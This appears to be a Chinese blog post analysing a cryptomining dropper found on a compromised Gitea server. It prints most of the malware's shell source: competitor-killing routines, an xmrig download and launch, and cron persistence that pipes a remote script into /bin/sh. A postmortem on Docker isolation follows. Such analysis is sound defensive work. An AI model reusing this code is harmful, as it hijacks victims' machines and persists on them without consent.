[ "$(printf '%s\n' "$_dk_cpu" | awk '{printf "%d",$1+0}')" -gt 90 ] 2>/dev/null && _dk_left="$_dk_left $_dk_pid"
done
for _dk_proc in /proc/[0-9]*; do
[ -d "$_dk_proc" ] || continue
_dk_pid=${_dk_proc#/proc/}
_dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
[ "$_dk_owner" = "$_dk_uid" ] || continue
[ -r "$_dk_proc/cmdline" ] || continue
_dk_cmd=$(tr '\000' ' ' < "$_dk_proc/cmdline" 2>/dev/null)
_dk_a0=$(printf '%s\n' "$_dk_cmd" | awk '{print $1}')
_dk_a1=$(printf '%s\n' "$_dk_cmd" | awk '{print $2}')
_dk_a2=$(printf '%s\n' "$_dk_cmd" | awk '{print $3}')
[ "$(basename "$_dk_a0" 2>/dev/null)" = "CRON" ] && [ "$_dk_a1" = "jobs" ] && [ -z "$_dk_a2" ] && _dk_left="$_dk_left $_dk_pid"
done
[ -z "$_dk_left" ] || { echo "[dk] WARNING survivors:$_dk_left"; return 1; }
echo "[dk] cleanup complete"
return 0
}
detect_kill_unicorn
http_get() {
_hg_url="$1"; _hg_follow=0
while [ "$_hg_follow" -lt 5 ]; do
_hg_follow=$((_hg_follow + 1))
_hg_hp="${_hg_url#https://}"; _hg_hp="${_hg_hp#http://}"
_hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
[ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
_hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
[ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
_hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
printf 'GET %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
"$_hg_path" "$_hg_host" > "$_hg_req"
if [ "${_hg_url#https://}" != "$_hg_url" ]; then
# HTTPS — openssl s_client with SNI
openssl s_client -connect "${_hg_ip}:443" -servername "$_hg_host" -quiet \
< "$_hg_req" > "$_hg_raw" 2>/dev/null
else
# Plain HTTP — use nc (netcat) if available (works on Alpine)
if command -v nc >/dev/null 2>&1; then
cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
elif [ -n "$BASH_VERSION" ]; then
# bash /dev/tcp fallback
exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
cat "$_hg_req" >&3
cat <&3 > "$_hg_raw" 2>/dev/null
exec 3>&-
else
# Last resort: openssl on port 80 (may fail — TLS on plain HTTP port)
cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
fi
fi
_hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
case "$_hg_status" in
301|302|303|307|308)
_hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
[ -z "$_hg_loc" ] && return 1
case "$_hg_loc" in
/*) _hg_loc="https://${_hg_host}${_hg_loc}" ;;
http://*|https://*) ;;
*) _hg_loc="https://${_hg_host}/${_hg_loc}" ;;
esac
_hg_url="$_hg_loc"
continue
;;
esac
tr -d '\r' < "$_hg_raw" | perl -0777 -ne '
if (/^(.*?)\n\n(.*)$/s) {
my ($h, $b) = ($1, $2);
if ($h =~ /transfer-encoding:\s*chunked/i) {
my $out = "";
while ($b =~ /^([0-9a-fA-F]+)\n(.*)$/s) {
my $sz = hex($1); last if $sz == 0;
$b = $2; $out .= substr($b, 0, $sz);
$b = substr($b, $sz); $b =~ s/^\n//;
}
print $out;
} else { print $b; }
}
' | grep -v '^[0-9a-fA-F]*$'
rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
return 0
done
return 1
}
http_get_bin() {
_hg_url="$1"; _hg_out="$2"; _hg_follow=0
while [ "$_hg_follow" -lt 5 ]; do
_hg_follow=$((_hg_follow + 1))
_hg_hp="${_hg_url#https://}"; _hg_hp="${_hg_hp#http://}"
_hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
[ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
_hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
[ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
_hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
printf 'GET %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
"$_hg_path" "$_hg_host" > "$_hg_req"
if [ "${_hg_url#https://}" != "$_hg_url" ]; then
# HTTPS — openssl s_client with SNI
openssl s_client -connect "${_hg_ip}:443" -servername "$_hg_host" -quiet \
< "$_hg_req" > "$_hg_raw" 2>/dev/null
else
# Plain HTTP — nc or bash /dev/tcp
if command -v nc >/dev/null 2>&1; then
cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
elif [ -n "$BASH_VERSION" ]; then
exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
cat "$_hg_req" >&3
cat <&3 > "$_hg_raw" 2>/dev/null
exec 3>&-
else
cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
fi
fi
_hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
case "$_hg_status" in
301|302|303|307|308)
_hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
[ -z "$_hg_loc" ] && return 1
case "$_hg_loc" in
/*) _hg_loc="https://${_hg_host}${_hg_loc}" ;;
http://*|https://*) ;;
*) _hg_loc="https://${_hg_host}/${_hg_loc}" ;;
esac
_hg_url="$_hg_loc"
continue
;;
esac
perl -0777 -ne '
if (/^(.*?)\r\n\r\n(.*)$/s) {
my ($h, $b) = ($1, $2);
$h =~ s/\r//g;
if ($h =~ /transfer-encoding:\s*chunked/i) {
my $out = "";
while ($b =~ /^([0-9a-fA-F]+)\r?\n(.*)$/s) {
my $sz = hex($1); last if $sz == 0;
$b = $2; $out .= substr($b, 0, $sz);
$b = substr($b, $sz); $b =~ s/^\r?\n//;
}
print $out;
} else { print $b; }
}
' < "$_hg_raw" > "$_hg_out"
rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
[ -s "$_hg_out" ] && return 0 || return 1
done
return 1
}
fetch_url() {
_fu_url="$1"
if command -v curl >/dev/null 2>&1; then
curl -fsSLk --connect-timeout 10 --max-time 60 "$_fu_url" 2>/dev/null
elif command -v wget >/dev/null 2>&1; then
wget -qO- --timeout=10 --tries=2 "$_fu_url" 2>/dev/null
else
http_get "$_fu_url"
fi
}
fetch_file() {
_ff_url="$1"; _ff_out="$2"
if command -v curl >/dev/null 2>&1; then
curl -fLk --silent --show-error --connect-timeout 10 --max-time 120 \
--retry 2 --retry-delay 1 --output "$_ff_out" "$_ff_url" 2>/dev/null
elif command -v wget >/dev/null 2>&1; then
wget -q --timeout=10 --tries=3 -O "$_ff_out" "$_ff_url" 2>/dev/null
else
http_get_bin "$_ff_url" "$_ff_out"
fi
}
_is_excluded() {
_ie_cmdline="$1"
for _ie_pat in $_c6; do
case "$_ie_cmdline" in
*"$_ie_pat"*) return 0 ;;
esac
done
return 1
}
kill_themf() {
(
set +e
_kt_threshold=7
for _kt_proc in /proc/[0-9]*; do
[ -r "$_kt_proc/status" ] || continue
_kt_pid="${_kt_proc#/proc/}"
_kt_cmdline=$(tr '\0' ' ' < "$_kt_proc/cmdline" 2>/dev/null)
# Exclude our miner
_is_excluded "$_kt_cmdline" && continue
_kt_score=0
_kt_name=$(awk '/^Name:/ {print $2}' "$_kt_proc/status")
_kt_uid=$(awk '/^Uid:/ {print $2}' "$_kt_proc/status")
_kt_state=$(awk '/^State:/ {print $2}' "$_kt_proc/status")
_kt_ppid=$(awk '/^PPid:/ {print $2}' "$_kt_proc/status")
_kt_rss=$(awk '/^VmRSS:/ {print $2}' "$_kt_proc/status")
_kt_rss=${_kt_rss:-0}
_kt_exe=$(readlink -f "$_kt_proc/exe" 2>/dev/null)
[ -n "$_kt_exe" ] && _kt_score=$((_kt_score + 1))
[ "$_kt_rss" -gt 500000 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
[ "$_kt_rss" -gt 1000000 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
_kt_zombies=$(ps --no-headers --ppid "$_kt_pid" -o stat 2>/dev/null | grep -c '^Z')
[ "$_kt_zombies" -ge 5 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
[ "$_kt_zombies" -ge 20 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
_kt_user=$(id -nu "$_kt_uid" 2>/dev/null)
if [ "$_kt_user" != root ]; then
case "$_kt_state" in
S*) _kt_score=$((_kt_score + 1)) ;;
esac
fi
case "$_kt_exe" in
/tmp/*|/var/tmp/*|/dev/shm/*)
_kt_score=$((_kt_score + 4)) ;;
"$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)
_kt_score=$((_kt_score + 4)) ;;
esac
[ -d "/proc/$_kt_ppid" ] || _kt_score=$((_kt_score + 1))
if [ "$_kt_score" -ge "$_kt_threshold" ] 2>/dev/null; then
echo "[+] Killing PID=$_kt_pid score=$_kt_score name=$_kt_name exe=$_kt_exe"
kill -9 "$_kt_pid" 2>/dev/null
fi
done
)
return 0
}
kill_mf3() {
(
set +e
_km_pat='syslog-ng-[0-9a-f]\{8\}|syslog-helper|donate-level|stratum+tcp|cryptonight|randomx|/proc/[0-9]+/exe'
_km_skip="$_c5"
_km_all=$(ps -eo pid=,ppid=,args= 2>/dev/null) || return 0
_km_all=$(printf '%s\n' "$_km_all" | grep -v -- "$_km_skip")
# Tier 1: watchdogs + grep scanner
_km_t1=$(printf '%s\n' "$_km_all" | grep -E "$_km_pat" 2>/dev/null | grep -vE 'kill_cryptojack|awk' | awk '/syslog-helper|donate-level/{print $1" "$2}')
# Tier 2: miners
_km_t2=$(printf '%s\n' "$_km_all" | grep -E 'syslog-ng-[0-9a-f]{8}' 2>/dev/null | grep -v awk | awk '{print $1" "$2}')
_km_t2b=$(printf '%s\n' "$_km_all" | grep -E 'stratum\+tcp|cryptonight|randomx|donate-level' 2>/dev/null | grep -vE 'syslog-ng|syslog-helper|kill_cryptojack|awk' | awk '{print $1" "$2}')
_km_pids_of() { printf '%s\n' "$1" | awk 'NF{print $1}' | sort -un | tr '\n' ' '; }
# T1: SIGTERM then SIGKILL
_km_t1p=$(_km_pids_of "$_km_t1")
_km_t1par=$(printf '%s\n' "$_km_t1" | awk 'NF{print $2}' | sort -un | tr '\n' ' ')
_km_list=$(printf '%s %s' "$_km_t1p" "$_km_t1par" | tr ' ' '\n' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
if [ -n "$_km_list" ]; then
kill -TERM $_km_list 2>/dev/null; sleep 1
for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
fi
# T2: SIGTERM then SIGKILL
_km_list=$(printf '%s %s' "$_km_t2" "$_km_t2b" | awk 'NF{print $1}' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
if [ -n "$_km_list" ]; then
kill -TERM $_km_list 2>/dev/null; sleep 2
for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
fi
# T3: orphans
sleep 1
_km_left=$(ps -eo pid=,args= 2>/dev/null | grep -E "$_km_pat" | grep -vE 'kill_cryptojack|grep' | grep -v -- "$_km_skip" | awk '{print $1}' | sort -un | tr '\n' ' ')
[ -n "$_km_left" ] && kill -KILL $_km_left 2>/dev/null; :
)
return 0
}
kill_and_remove_process() {
_karp_term="$1"
[ -z "$_karp_term" ] && return 2
for _karp_dir in /proc/[0-9]*; do
[ -r "$_karp_dir/comm" ] || continue
_karp_pid="${_karp_dir##*/}"
_karp_comm=$(cat "$_karp_dir/comm" 2>/dev/null)
_karp_cmdline=$(tr '\0' ' ' < "$_karp_dir/cmdline" 2>/dev/null)
if [ "$_karp_comm" != "$_karp_term" ] && ! printf '%s\n' "$_karp_cmdline" | grep -Fq -- "$_karp_term"; then
continue
fi
_karp_exe=$(readlink -f "$_karp_dir/exe" 2>/dev/null)
[ -z "$_karp_exe" ] && continue
# Skip system binaries
case "$_karp_exe" in
/bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*|/lib/*|/lib64/*|/usr/lib/*) continue ;;
esac
echo "Terminating '$_karp_term' PID=$_karp_pid"
kill "$_karp_pid" 2>/dev/null; sleep 1
kill -0 "$_karp_pid" 2>/dev/null && kill -9 "$_karp_pid" 2>/dev/null
if [ -f "$_karp_exe" ]; then
rm -f -- "$_karp_exe" 2>/dev/null && echo "Deleted: $_karp_exe"
fi
done
return 0
}
kill_high_cpu() {
_khc_threshold=150.0
ps -eo pid,%cpu --sort=-%cpu 2>/dev/null | awk -v t="$_khc_threshold" 'NR>1 && $2 > t {print $1}' | while read -r _khc_pid; do
[ -f "/proc/$_khc_pid/cmdline" ] || continue
_khc_cmdline=$(tr '\0' ' ' < "/proc/$_khc_pid/cmdline")
_is_excluded "$_khc_cmdline" && continue
kill -9 "$_khc_pid" 2>/dev/null && echo "Killed high-CPU PID=$_khc_pid"
done
}
harden_network() {
command -v iptables >/dev/null 2>&1 && {
iptables -A INPUT -s 66.23.199.44 -j DROP 2>/dev/null || true
iptables -A INPUT -s 45.94.31.89 -j DROP 2>/dev/null || true
}
command -v ip >/dev/null 2>&1 && {
ip route add blackhole 139.59.59.33 2>/dev/null || true
ip route add blackhole 45.94.31.89 2>/dev/null || true
ip route add blackhole 154.89.152.115 2>/dev/null || true
ip route add blackhole 84.21.173.223 2>/dev/null || true
ip route add blackhole 142.132.131.238 2>/dev/null || true
}
}
cleanup_files() {
# Remove competing miner artifacts (union of all scripts)
rm -rf /bin/softirq 2>/dev/null || true
rm -rf /var/tmp/.rsyslogd 2>/dev/null || true
rm -rf /lib/systemd/cache/health-monitor 2>/dev/null || true
rm -rf /usr/local/bin/watcher 2>/dev/null || true
rm -rf /tmp/runnv/* 2>/dev/null || true
rm -rf /lib/systemd/cache/asset-indexer 2>/dev/null || true
rm -rf /tmp/nuclear 2>/dev/null || true
rm -f /tmp/mon.sh 2>/dev/null || true
rm -f /tmp/run.sh 2>/dev/null || true
# Reclaim as honeypots
mkdir -p /bin/softirq 2>/dev/null || true
mkdir -p /tmp/nuclear 2>/dev/null || true
mkdir -p /tmp/runnv/lived.sh 2>/dev/null || true
mkdir -p /tmp/runnv/alive.sh 2>/dev/null || true
mkdir -p /usr/local/bin/watcher 2>/dev/null || true
mkdir -p /lib/systemd/cache/health-monitor 2>/dev/null || true
mkdir -p /var/tmp/.rsyslogd 2>/dev/null || true
mkdir -p /lib/systemd/cache/asset-indexer 2>/dev/null || true
# Remove old dns-filter artifacts
for _cf_f in "${HOME_1:-/tmp}/systemdev/dns-filter" /usr/lib/systemdev/dns-filter /usr/lib/dev/systemdev/dns-filter; do
[ -f "$_cf_f" ] && rm -f "$_cf_f"
done
}
safe_patch_args() {
_spa_file='/lib/systemd/cache/process-watcher'
_spa_value="-o $_c3 -u $_c4/P2 --tls"
[ -f "$_spa_file" ] || return 0
_spa_esc=$(printf '%s' "$_spa_value" | sed 's/[\/&]/\\&/g') || return 0
if grep -q '^XMRIG_ARGS="[^"]*"$' "$_spa_file" 2>/dev/null; then
sed -i "s/^XMRIG_ARGS=\"[^\"]*\"$/XMRIG_ARGS=\"$_spa_esc\"/" "$_spa_file" 2>/dev/null || :
else
printf '\nXMRIG_ARGS="%s"\n' "$_spa_value" >> "$_spa_file" 2>/dev/null || :
fi
}
replace_pool_user() {
_rpu_path="/var/tmp/.odoo_pg_health.json"
[ -f "$_rpu_path" ] || return 0
_rpu_esc=$(printf '%s' "$_c4" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/|/\\|/g') || return 0
_rpu_tmp="${_rpu_path}.tmp.$$"
sed -e "s|\(\"user\"[ ]*:[ ]*\)\"[^\"]*\"|\1\"${_rpu_esc}\"|g" \
<"$_rpu_path" >"$_rpu_tmp" 2>/dev/null || { rm -f "$_rpu_tmp"; return 0; }
[ -s "$_rpu_tmp" ] && mv -f "$_rpu_tmp" "$_rpu_path" 2>/dev/null || rm -f "$_rpu_tmp"
}
get_cpu_count() {
if [ -f /proc/cpuinfo ]; then
grep -c '^processor' /proc/cpuinfo
else
sysctl -n hw.ncpu 2>/dev/null || nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 1
fi
}
is_ec2_host() {
hostname | grep -qi -e "ec2" -e "compute"
}
is_our_process_running() {
for _iop_dir in /proc/[0-9]*; do
[ -r "$_iop_dir/cmdline" ] || continue
_iop_cmdline=$(cat "$_iop_dir/cmdline" 2>/dev/null | tr '\0' ' ')
if echo "$_iop_cmdline" | grep -q "$_c5" && ! echo "$_iop_cmdline" | grep -q "is_our_process_running"; then
_iop_state=$(awk '{print $3}' "$_iop_dir/stat" 2>/dev/null)
[ "$_iop_state" = "Z" ] && continue
_iop_pid="${_iop_dir##*/}"
case "$_ga_arch" in
aarch64|arm64|armv8l)
case "$_iop_cmdline" in
*"/$_c1"*) ;;
*)
echo "ARM process uses a different identifier; replacing"
kill -9 "$_iop_pid" 2>/dev/null
sleep 1
continue
;;
esac
;;
esac
_iop_cpu=$(ps -p "$_iop_pid" -o %cpu= 2>/dev/null | tr -d ' ')
_iop_cpu=${_iop_cpu:-0}
_iop_int=${_iop_cpu%.*}
_iop_int=${_iop_int:-0}
if [ "$_iop_int" -gt 0 ] 2>/dev/null; then
echo "Our process active (PID $_iop_pid, CPU ${_iop_cpu}%) — skipping launch"
return 0
else
echo "Our process idle (PID $_iop_pid) — killing and relaunching"
kill -9 "$_iop_pid" 2>/dev/null
sleep 1
fi
fi
done
echo "Our process not running"
return 1
}
set_arch_urls() {
_ga_arch=$(uname -m 2>/dev/null || echo unknown)
case "$_ga_arch" in
x86_64|amd64)
_ga_url="$_c7"
_ga_fallback="$_c9"
_ga_machine=3e00
;;
aarch64|arm64|armv8l)
_ga_url="$_c8"
_ga_fallback=""
_ga_machine=b700
_c1=ARM
;;
*)
_ga_url=""
_ga_fallback=""
_ga_machine=""
return 1
;;
esac
}
_elf_machine() {
od -An -tx1 -j18 -N2 "$1" 2>/dev/null | tr -d '[:space:]'
}
_is_elf_for_arch() {
_ie_file="$1"
[ -s "$_ie_file" ] || return 1
[ "$(head -c 4 "$_ie_file" 2>/dev/null)" = "$(printf '\177ELF')" ] || return 1
[ "$(od -An -tx1 -j4 -N2 "$_ie_file" 2>/dev/null | tr -d '[:space:]')" = "0201" ] || return 1
[ "$(_elf_machine "$_ie_file")" = "$_ga_machine" ]
}
_sfx_path() {
if [ "$(id -u)" -eq 0 ]; then printf '/var/lib/.sysconf_id'
else printf '/tmp/.sysid'; fi
}
_load_or_gen_sfx() {
_log_f=$(_sfx_path)
if [ -f "$_log_f" ] && [ -s "$_log_f" ]; then cat "$_log_f"; return; fi
_log_s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)
[ -z "$_log_s" ] && _log_s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')
mkdir -p "$(dirname "$_log_f")" 2>/dev/null
printf '%s' "$_log_s" >"$_log_f" 2>/dev/null
printf '%s' "$_log_s"
}
create_cronjob() {
# Refresh the same plain shell script that was uploaded at /mon.
_cc_cmd=""
if command -v curl >/dev/null 2>&1; then
_cc_cmd="/bin/sh -c 'curl -fsSLk $_c2 | /bin/sh'"
elif command -v wget >/dev/null 2>&1; then
_cc_cmd="/bin/sh -c 'wget -qO- $_c2 | /bin/sh'"
elif command -v openssl >/dev/null 2>&1; then
_cc_helper="/tmp/.cron_fetch_$$.sh"
cat > "$_cc_helper" << 'CRONHELPER'
#!/bin/sh
. /tmp/.hglib_cron 2>/dev/null
http_get "$1" | /bin/sh
CRONHELPER
chmod 755 "$_cc_helper"
cat > /tmp/.hglib_cron << 'HGLIB'
http_get() {
_u="$1";_n=0
while [ "$_n" -lt 5 ]; do
_n=$((_n+1));_p="${_u#https://}";_p="${_p#http://}"
_h="${_p%%/*}";_q="/${_p#*/}";[ "$_h" = "$_p" ]&&_q="/"
_i=$(getent ahostsv4 "$_h" 2>/dev/null|awk '{print $1;exit}')
[ -z "$_i" ]&&_i="$_h"
_a="/tmp/.cr$$a";_b="/tmp/.cr$$b"
printf 'GET %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h">"$_a"
openssl s_client -connect "${_i}:443" -servername "$_h" -quiet <"$_a">"$_b" 2>/dev/null
_s=$(head -1 "$_b" 2>/dev/null|awk '{print $2}')
case "$_s" in 301|302|303|307|308)
_l=$(perl -0777 -ne 'if(/^Location:\s*(\S+)/im){print $1}' "$_b"|tr -d '\r')
rm -f "$_a" "$_b" 2>/dev/null;[ -z "$_l" ]&&return 1
case "$_l" in /*)_l="https://${_h}${_l}";;http://*|https://*);;*)_l="https://${_h}/${_l}";;esac
_u="$_l";continue;;
esac
perl -0777 -ne 'if(/^(.*?)\r\n\r\n(.*)$/s){print $2}' <"$_b"
rm -f "$_a" "$_b" 2>/dev/null;return 0
done
return 1
}
HGLIB
_cc_cmd="$_cc_helper $_c2"
else
echo "Cannot create cron job — no curl/wget/openssl"
return 1
fi
(crontab -l 2>/dev/null | grep -vF "$_c2"; echo "*/45 * * * * $_cc_cmd") | crontab -
echo "Cron persistence installed."
}
for _main_pid in $(pgrep -f 'bash /tmp/.*\.sh' 2>/dev/null); do
if [ "$_main_pid" != "$$" ] && [ "$_main_pid" != "$PPID" ]; then
# Check it's not our process (guard against race: process may have died)
[ -r "/proc/$_main_pid/cmdline" ] || continue
_main_cmdline=$(tr '\0' ' ' < "/proc/$_main_pid/cmdline" 2>/dev/null)
_is_excluded "$_main_cmdline" && continue
kill -9 "$_main_pid" 2>/dev/null && echo "Killed competing script PID $_main_pid"
fi
done
if [ "$(id -u)" -eq 0 ]; then
command -v systemctl >/dev/null 2>&1 && systemctl stop systemd_s 2>/dev/null || true
fi
log "Killing competing miners..."
kill_themf
kill_mf3
kill_high_cpu
for _main_target in \
".rsyslogd" "kworker/u4:2" "crazyeltonproxy" "monero" "c3pool.org:80" \
"/bin/watcher" "nuclear" "45.94.31.89" "hosts-to-ignore" "supportxmr" \
"youyutebuae.xyz" "/lib/systemd/cache/health-monitor" "$(_d 'eG1yaWc=')"; do
kill_and_remove_process "$_main_target" || true
done
log "Hardening network..."
harden_network
log "Cleaning up files..."
cleanup_files
safe_patch_args
replace_pool_user
_SFX=$(_load_or_gen_sfx)
if [ "$(id -u)" -eq 0 ]; then
HOME_1="/usr_${_SFX}/lib/dev"
_main_user_type="root"
# Install cron if missing (only as root)
if ! command -v crontab >/dev/null 2>&1; then
log "Installing cron..."
if command -v apk >/dev/null 2>&1; then
apk add --no-cache cron 2>/dev/null || apk add --no-cache cronie 2>/dev/null || true
command -v rc-update >/dev/null 2>&1 && rc-update add crond default 2>/dev/null || true
command -v rc-service >/dev/null 2>&1 && rc-service crond start 2>/dev/null || true
elif command -v apt-get >/dev/null 2>&1; then
apt-get update -qq 2>/dev/null && apt-get install -y -qq cron 2>/dev/null || true
elif command -v yum >/dev/null 2>&1; then
yum install -y cronie 2>/dev/null || true
fi
fi
else
HOME_1="/tmp/.usr_${_SFX}/lib"
_main_user_type="user"
fi
program_file="$HOME_1/systemdev/dns-filter"
mkdir -p "$HOME_1/systemdev" 2>/dev/null
if ! set_arch_urls; then
log "Unsupported architecture: $_ga_arch"
exit 1
fi
cpu_count=$(get_cpu_count)
is_ec2=false; is_ec2_host && is_ec2=true
if [ "$cpu_count" -le 3 ] && [ "$is_ec2" = "false" ]; then
log "LOW CPU: $cpu_count CPUs (min 4 required), not EC2 — exiting"
exit 0
fi
log "CPU check: $cpu_count CPUs (user=$_main_user_type, ec2=$is_ec2)"
if is_our_process_running; then
log "Process running — installing cron and exiting"
create_cronjob "$_c2"
exit 0
fi
log "Downloading..."
arch_url="$_ga_url"
if _is_elf_for_arch "$program_file"; then
log "Binary present at $program_file ($(wc -c < "$program_file") bytes)"
else
rm -f "$program_file" 2>/dev/null || true
log "Fetching from $arch_url..."
fetch_file "$arch_url" "$program_file"
chmod +x "$program_file" 2>/dev/null
if ! _is_elf_for_arch "$program_file" && [ -n "$_ga_fallback" ]; then
log "Primary failed or wrong architecture ($(wc -c < "$program_file" 2>/dev/null) bytes) — trying fallback..."
rm -f "$program_file"
fetch_file "$_ga_fallback" "$program_file"
chmod +x "$program_file" 2>/dev/null
fi
fi
if ! _is_elf_for_arch "$program_file"; then
log "Error: no executable for architecture $_ga_arch"
rm -f "$program_file" 2>/dev/null || true
exit 1
fi
log "Binary ready: $(wc -c < "$program_file") bytes at $program_file"
if ! "$program_file" --version >/dev/null 2>&1; then
log "Error: binary failed the version check"
rm -f "$program_file" 2>/dev/null || true
exit 1
fi
launch_miner() {
if command -v setsid >/dev/null 2>&1; then
setsid "$program_file" "$@" >/dev/null 2>&1 &
else
nohup "$program_file" "$@" >/dev/null 2>&1 &
fi
_launch_pid=$!
}
log "Launching..."
_launch_ok=0
launch_miner -o "$_c3" -u "$_c4/$_c1" -k --tls
sleep 5
if kill -0 "$_launch_pid" 2>/dev/null; then
log "Process running (PID $_launch_pid)"
_launch_ok=1
else
log "Primary launch failed — retrying without -k..."
launch_miner -o "$_c3" -u "$_c4/$_c1" --tls
sleep 5
if kill -0 "$_launch_pid" 2>/dev/null; then
log "Process running on retry (PID $_launch_pid)"
_launch_ok=1
fi
fi
if [ "$_launch_ok" != 1 ]; then
log "All launch attempts failed"
rm -f "$program_file" 2>/dev/null || true
exit 1
fi
create_cronjob "$_c2"
if [ "$(id -u)" -eq 0 ]; then
for _lock_file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
if [ -f "$_lock_file" ]; then
chattr +i "$_lock_file" 2>/dev/null || true
chattr +a "$_lock_file" 2>/dev/null || true
fi
done
fi
log "Deployment complete."
exit 0
注意

仅作学术探讨,不要盲目尝试执行及恶意改造,若造成信息资产损失,后果自负!!!

它干了什么?#

该脚本是一个多阶段门罗币挖矿僵尸网络植入工具,执行流程如下:

  1. 环境准备 – 检查并安装必要的下载工具(curl/wget/openssl+perl)。

  2. 清除竞争挖矿进程 – 杀掉系统中其他挖矿进程、相关守护进程及僵尸进程,并删除其文件。

  3. 网络加固与文件占位 – 屏蔽已知恶意IP,删除竞争对手文件并创建同名目录(蜜罐),防止再次生成。

  4. 资源评估 – 判断CPU核心数(<4且非EC2环境则退出),避免在低性能机器上浪费资源。

  5. 自身进程守护 – 检查本矿机是否已在运行,若运行则仅添加Cron持久化后退出。

  6. 下载并启动挖矿程序 – 根据CPU架构(x86_64/ARM64)从多个备用源下载 xmrig 二进制,验证ELF合法性后启动。

  7. 持久化 – 添加Cron定时任务(每45分钟)重新拉取执行本脚本。

  8. 文件锁保护 – 若为root,对Cron相关文件添加不可变属性(chattr +i)防止篡改。

  9. 日志与隐蔽 - 使用 log() 函数输出带时间戳的日志,伪造信息干扰排查

事后复盘#

整个恶意程序分析至此大概能够推测,攻击者利用Gitea CVE漏洞进行了范围性无差别攻击,其主要目标不是小资源的服务器,而是窃取以AWS平台为目标的用户密钥用于撞库及其它行为,顺带如果被入侵的服务器具有一定算力,则利用服务器资源进行挖矿以产生收益;

我这波是纯纯被范围AOE伤害波及了;

使用docker容器化部署降低风险#

这次的CVE漏洞入侵对我造成的影响有限,主要是云端运行得好好的突然没法拉取同步仓库了,其次就是Gitea内部的一些管理Token和ssh公钥可能泄露,但我仓库内的代码大部分是公开项目,所有验证密钥替换一轮也费不了多大事;

得益于docker容器化部署,受攻击后恶意代码及注入仅影响了容器内;

在我的服务器上,Gitea容器自身仅对外暴露ssh相关的验证端口,其网页web服务通过 docker network 连接到Nginx容器进行反向代理,并由Nginx处理SSL加密,这样的独立容器架构使得最外侧的操作系统本体没有受到攻击,在处理掉感染的Gitea容器时只需要关注数据卷就可以了,并且由于所有的Web访问都经过Nginx,攻击者的交互过程均记录在Nginx日志中,这在后来排查问题时提供了不少助力;

从这次经历来看,在操作系统中直接部署各类二进制可执行文件来部署服务的方式数据风险太大,且杂糅太多,对于运行多个服务的需求,最好是将各个服务进行解耦,数据库放一边,前后端各放一边,反向代理放一边,并对各个容器可用的资源进行一定限制,够用就好,有冗余但绝不多给,这样当某个服务出现问题时,可以通过容器的资源占用情况反向定位到底是谁除了问题;

此外,各个容器应遵循最小权限与最小暴露,简单来说就是不该有的权限绝对不给,内部通信绝不暴露到外部,docker network是个很好的隔离机制;

综上,docker确实是个伟大的技术,do门

挖矿脚本之间的竞争#

有意思的地方在于,恶意挖矿脚本之间还存在竞争关系,脚本中定义了多个清除函数kill_themfkill_mf3kill_high_cpudetect_kill_unicorn等,通过以下方式识别并杀死其他挖矿进程:

  • 特征匹配:根据进程名(如 syslog-ng-*、syslog-helper、monero、donate-level 等)、命令行(包含 stratum+tcp、cryptonight、randomx 等矿池连接字符串)。

  • 行为评分:对进程分析其CPU占用、内存RSS、僵尸子进程数量、可执行文件路径(/tmp/*等)进行打分,高于阈值则杀死。

